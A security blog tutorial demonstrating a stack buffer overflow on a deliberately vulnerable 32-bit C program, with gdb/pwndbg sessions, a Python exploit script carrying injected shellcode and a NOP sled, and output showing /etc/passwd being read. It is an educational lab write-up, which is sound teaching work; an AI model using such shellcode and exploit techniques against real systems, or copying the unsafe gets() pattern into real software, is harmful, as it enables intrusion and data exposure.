Saturday, May 9, 2020

Continuing Buffer Overflow - The Basics

In a previous post, we worked on buffer overflows. In that post I kept it simple, by having the "arbitrary code" within the same program. That example was meant to perform the simplest of buffer overflows. However, I did have the question asked about running code which is not part of the compiled program. The concepts from that post remains the same. However, this quick post is meant to close that loop.

Here we have the sample code for the vulnerable application.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
// gcc -m32 -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 sample.c -o sample

// SecurityNik buffer overflow demo


int main()
{   
    // declare a buffer of size 8 bytes 
    char pass[8];

    // Read the input. Get's does not check the size of the input and thus allows for buffer overlflow
    gets(pass);

    // Simply print the output back to the screen.
    puts(pass);

    return 0;
}

For simplicity I disabled Address Space Layout Randomization (ASLR) via

1
sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"

I then compiled the program. Note the errors below about "gets" being a vulnerable function. The program still compiles though.

1
2
3
4
5
6
7
8
9
┌─[securitynik@securitynik]─[~]
└──╼ $gcc -m32 -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 sample.c -o sample
sample.c: In function ‘main’:
sample.c:13:5: warning: implicit declaration of function ‘gets’; did you mean ‘fgets’? [-Wimplicit-function-declaration]
   13 |     gets(pass);
      |     ^~~~
      |     fgets
/usr/bin/ld: /tmp/cctuep9t.o: in function `main':
sample.c:(.text+0x17): warning: the `gets' function is dangerous and should not be used.

After compilation, I run the program and we see.

1
2
3
4
┌─[securitynik@securitynik]─[~]
└──╼ $./sample 
Welcome
Welcome

Let's now test if the program will crash and where. To do this, let's leverage "msf-pattern_create" and "msf-pattern_offset".

1
2
3
┌─[securitynik@securitynik]─[~]
└──╼ $msf-pattern_create --length 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Now that we have the pattern of length 100, let's redirect it to a file named "pattern.txt". This file will be used as input to the sample program.

1
2
3
4
5
┌─[securitynik@securitynik]─[~]
└──╼ $msf-pattern_create --length 100 > pattern.txt
┌─[securitynik@securitynik]─[~]
└──╼ $cat pattern.txt 
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Using the "pattern.txt" file as input to te sample program.

1
2
3
4
┌─[securitynik@securitynik]─[~]
└──╼ $./sample < pattern.txt 
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Segmentation fault

Above we see the program has crashed with a "Segmentation fault"

Now let's use that file as input to the compiled program in GDB, so as to identify the offset where the crash occurred.

First load the program in GDB.

1
2
3
4
5
6
[✗]─[securitynik@securitynik]─[~]
└──╼ $gdb ./sample -q
pwndbg: loaded 187 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./sample...
(No debugging symbols found in ./sample)

Then within GDB, we now run the program using "pattern.txt" once again as input.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
pwndbg> run < pattern.txt 
Starting program: /home/securitynik/sample < pattern.txt
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Program received signal SIGSEGV, Segmentation fault.
0x61413561 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────
 EAX  0x0
 EBX  0x33614132 ('2Aa3')
 ECX  0xffffffff
 EDX  0xffffffff
 EDI  0xf7fac000 ◂— insb   byte ptr es:[edi], dx /* 0x1dfd6c */
 ESI  0xf7fac000 ◂— insb   byte ptr es:[edi], dx /* 0x1dfd6c */
 EBP  0x41346141 ('Aa4A')
 ESP  0xffffd270 ◂— '6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
 EIP  0x61413561 ('a5Aa')
───────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────
Invalid address 0x61413561










───────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────
00:0000 esp  0xffffd270 ◂— '6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
01:0004      0xffffd274 ◂— 'Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
02:0008      0xffffd278 ◂— 'a9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
03:000c│      0xffffd27c ◂— '0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
04:0010      0xffffd280 ◂— 'Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
05:0014      0xffffd284 ◂— 'b3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
06:0018      0xffffd288 ◂— '4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
07:001c│      0xffffd28c ◂— 'Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
─────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────
  f 0 61413561
   f 1 37614136
   f 2 41386141
   f 3 62413961
   f 4 31624130
   f 5 41326241
   f 6 62413362
   f 7 35624134
   f 8 41366241
   f 9 62413762
   f 10 39624138
────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> 

Looking at the registers above, we see the EIP registers has a value of 0x61413561 ('a5Aa')

This can be further be found by executing.

1
2
pwndbg> info registers eip
eip            0x61413561          0x61413561

If you would like to validate the hex value "0x61413561" translates to "('a5Aa')", then simply execute the "echo" command in conjunction with "xxd -r". This tells "xxd" to perform a reverse operation.

1
2
3
┌─[securitynik@securitynik]─[~]
└──╼ $echo "0x61413561" | xxd -r
aA5a

Now that we have the pattern 'a5Aa', let's feed this into "msf-pattern_offset" as shown below.

1
2
3
[securitynik@securitynik]─[~]
└──╼ $msf-pattern_offset --query a5Aa --length 100
[*] Exact match at offset 16

Looking at above, it seems offset 16 is where the EIP starts. Therefore in theory, a pattern of "AAAAAAAABBBBCCCC" should get us to the return pointer and "DDDD" should overwrite the return pointer.

Even though the program crashed and we can possibly overwrite the return pointer, are we able to perform any write and or execute actions on the stack? Let's look at the program memory map.

Execute the program again.

1
2
┌─[securitynik@securitynik]─[~]
└──╼ $./sample 

Perform a "grep" to find the sample program PID

1
2
3
4
┌─[✗]─[securitynik@securitynik]─[~]
└──╼ $ps aux | grep sample
securit+    9003  0.0  0.0   2416   556 pts/1    S+   13:12   0:00 ./sample
securit+    9008  0.0  0.0   6156   840 pts/0    S+   13:12   0:00 grep --color=auto sample

The PID is reported above as 9003. Let's now look at the memory map, via the proc file system

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
─[securitynik@securitynik]─[~]
└──╼ $cat /proc/9003/maps
56555000-56558000 r-xp 00000000 00:17 422036                             /home/securitynik/sample
56558000-56559000 r-xp 00002000 00:17 422036                             /home/securitynik/sample
56559000-5655a000 rwxp 00003000 00:17 422036                             /home/securitynik/sample
5655a000-5657c000 rwxp 00000000 00:00 0                                  [heap]
f7dcc000-f7faa000 r-xp 00000000 00:17 98568                              /usr/lib32/libc-2.30.so
f7faa000-f7fac000 r-xp 001dd000 00:17 98568                              /usr/lib32/libc-2.30.so
f7fac000-f7fae000 rwxp 001df000 00:17 98568                              /usr/lib32/libc-2.30.so
f7fae000-f7fb0000 rwxp 00000000 00:00 0 
f7fce000-f7fd0000 rwxp 00000000 00:00 0 
f7fd0000-f7fd3000 r--p 00000000 00:00 0                                  [vvar]
f7fd3000-f7fd4000 r-xp 00000000 00:00 0                                  [vdso]
f7fd4000-f7ffc000 r-xp 00000000 00:17 98561                              /usr/lib32/ld-2.30.so
f7ffc000-f7ffd000 r-xp 00027000 00:17 98561                              /usr/lib32/ld-2.30.so
f7ffd000-f7ffe000 rwxp 00028000 00:17 98561                              /usr/lib32/ld-2.30.so
fffdd000-ffffe000 rwxp 00000000 00:00 0                                  [stack]

Interesting! We can perform write and execute actions on the stack, as seen via the "rwxp" permissions.

Let's now grab some shellcode. I grabbed a shellcode from shell-storm.org.

In all honesty, I tried a few shellcodes before I found one that worked. Once I found one that worked, I added it to the following script: This shellcode writes the "/etc/passed" file to screen.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/python

# Downloaded shellcode
# http://shell-storm.org/shellcode/files/shellcode-571.php

if __name__ == '__main__':

    # Create a file to store payload which will be used as input to sample program.
    input_fp = open('input', 'w')

    # Shellcode to print contents of /etc/passwd file to screen
    sc = (
        "\x31\xc0\x99\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x73\x73\x77\x64" 
  "\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80"
    )

    '''
    Declare a variable consisting of:
    16 As representing our buffer, any padding and the EBP
    '\x00\xd3\xff\xff' - an address for us to jump to
    '\x90'*100 - because we are not sure where our code will land in memory, add a nop slide
    sc - our shellcode
    '''

    myBuffer = 'A'*16 +  '\x00\xd3\xff\xff' + '\x90'*200 + sc

    # Write the contents out to a file named input as declared above.
    input_fp.write(myBuffer)

Execute the "exploit.py" script and display the contents using "cat" command.

1
2
3
4
5
6
7
┌─[securitynik@securitynik]─[~]
└──╼ $./exploit.py 
┌─[securitynik@securitynik]─[~]
└──╼ $cat input 
AAAAAAAAAAAAAAAA�������������������������������������������������������������������������������������������������������1��Rh/cath/bin��Rhsswdh//pah/etc��
                                                 RQS��̀┌─[securitynik@securitynik]─[~]
└──╼ $

Looks interesting. Let's now take a look to see what we get in GDB before running outside in the bash shell.

Load the program up again in GDB.

1
2
3
4
5
6
┌─[securitynik@securitynik]─[~]
└──╼ $gdb ./sample -q
pwndbg: loaded 187 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./sample...
(No debugging symbols found in ./sample)

Look at the functions to set a breakpoint

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x00001000  _init
0x00001030  gets@plt
0x00001040  __libc_start_main@plt
0x00001050  __cxa_finalize@plt
0x00001058  puts@plt
0x00001060  _start
0x000010a0  __x86.get_pc_thunk.bx
0x000010b0  deregister_tm_clones
0x000010f0  register_tm_clones
0x00001140  __do_global_dtors_aux
0x00001190  frame_dummy
0x00001195  __x86.get_pc_thunk.dx
0x00001199  main
0x000011d0  __libc_csu_init
0x00001230  __libc_csu_fini
0x00001231  __x86.get_pc_thunk.bp
0x00001238  _fini

Let's now set a breakpoint just before "0x00001058  puts@plt" is executed.

1
2
pwndbg> break puts@plt
Breakpoint 1 at 0x1058

Run the program again.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
pwndbg> run < input 
Starting program: /home/securitynik/sample < input

Breakpoint 1, 0x56556058 in puts@plt ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────
 EAX  0xf7e3b560 (puts) ◂— push   ebp
 EBX  0x56559000 (_GLOBAL_OFFSET_TABLE_) ◂— clc     /* 0x3ef8 */
 ECX  0xf7fac580 (_IO_2_1_stdin_) ◂— cwde    /* 0xfbad2098 */
 EDX  0xffffd363 —▸ 0xffd75600 ◂— 0xffd75600
 EDI  0xf7fac000 ◂— insb   byte ptr es:[edi], dx /* 0x1dfd6c */
 ESI  0xf7fac000 ◂— insb   byte ptr es:[edi], dx /* 0x1dfd6c */
 EBP  0xffffd268 ◂— 'AAAA'
 ESP  0xffffd254 —▸ 0x565561c3 (main+42) ◂— add    esp, 4
 EIP  0x56556058 (puts@plt) —▸ 0xfff0a3ff ◂— 0xfff0a3ff
───────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────
  0x56556058 <puts@plt>    jmp    dword ptr [ebx - 0x10] <0xf7e3b560>
    
   0xf7e3b560 <puts>        push   ebp
   0xf7e3b561 <puts+1>      mov    ebp, esp
   0xf7e3b563 <puts+3>      push   edi
   0xf7e3b564 <puts+4>      call   0xf7f0afe1
 
   0xf7e3b569 <puts+9>      add    edi, 0x170a97
   0xf7e3b56f <puts+15>     push   esi
   0xf7e3b570 <puts+16>     push   ebx
   0xf7e3b571 <puts+17>     sub    esp, 0x28
   0xf7e3b574 <puts+20>     push   dword ptr [ebp + 8]
   0xf7e3b577 <puts+23>     mov    dword ptr [ebp - 0x24], edi
───────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────
00:0000 esp  0xffffd254 —▸ 0x565561c3 (main+42) ◂— add    esp, 4
01:0004      0xffffd258 —▸ 0xf7e3b560 (puts) ◂— push   ebp
02:0008      0xffffd25c ◂— 'AAAAAAAAAAAAAAAA'
... 
06:0018      0xffffd26c —▸ 0xffffd300 ◂— 0x90909090
07:001c│      0xffffd270 ◂— 0x90909090
─────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────
  f 0 56556058 puts@plt
   f 1 565561c3 main+42
────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> 

Taking a quick look at the stack to see what it looks liked before "puts" is executed.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> x/80xw $esp
0xffffd254: 0x565561c3 0xf7e3b560 0x41414141 0x41414141
0xffffd264: 0x41414141 0x41414141 0xffffd300 0x90909090
0xffffd274: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd284: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd294: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd2a4: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd2b4: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd2c4: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd2d4: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd2e4: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd2f4: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd304: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd314: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd324: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd334: 0x90909090 0x5299c031 0x61632f68 0x622f6874
0xffffd344: 0xe3896e69 0x73736852 0x2f686477 0x6861702f
0xffffd354: 0x6374652f 0x0bb0e189 0x89535152 0x0080cde1
0xffffd364: 0xffffd756 0xffffdd38 0xffffdd51 0xffffdd5d
0xffffd374: 0xffffdd6e 0xffffdda2 0xffffddb9 0xffffddcd
0xffffd384: 0xffffdde5 0xffffddf6 0xffffde01 0xffffde09

Looks interesting, we can see our 16 As, followed by "0xffffd300" which is then followed by our "0x90" (NOP) then our shell code starts. However, does our return pointer, point to an area we would like? If we look closely above, we can see it does. However, let's give this more clarity, by examining a few bytes at the address "0xffffd300"


1
2
3
4
5
pwndbg> x/16xw 0xffffd300
0xffffd300: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd310: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd320: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd330: 0x90909090 0x90909090 0x5299c031 0x61632f68

Good stuff, we can further confirm our return pointer jumps to the NOP and then slides down to our shell code. Let's now execute this in a normal shell to see what we get.


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
└──╼ $./sample < input 
AAAAAAAAAAAAAAAA
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
..... Truncated for brevity .....
dradis:x:135:147::/var/lib/dradis:/usr/sbin/nologin
beef-xss:x:136:148::/var/lib/beef-xss:/usr/sbin/nologin
geoclue:x:137:149::/var/lib/geoclue:/usr/sbin/nologin
lightdm:x:138:150:Light Display Manager:/var/lib/lightdm:/bin/false
king-phisher:x:139:151::/var/lib/king-phisher:/usr/sbin/nologin
securitynik:x:1000:1000:SecurityNik,,,:/home/securitynik:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
vboxadd:x:998:1::/var/run/vboxadd:/bin/false
┌─[securitynik@securitynik]─[~]

Nice! Looks like we were able to exploit the vulnerable program by using code external to the actual program.

Hope you enjoyed this post.

No comments:

Post a Comment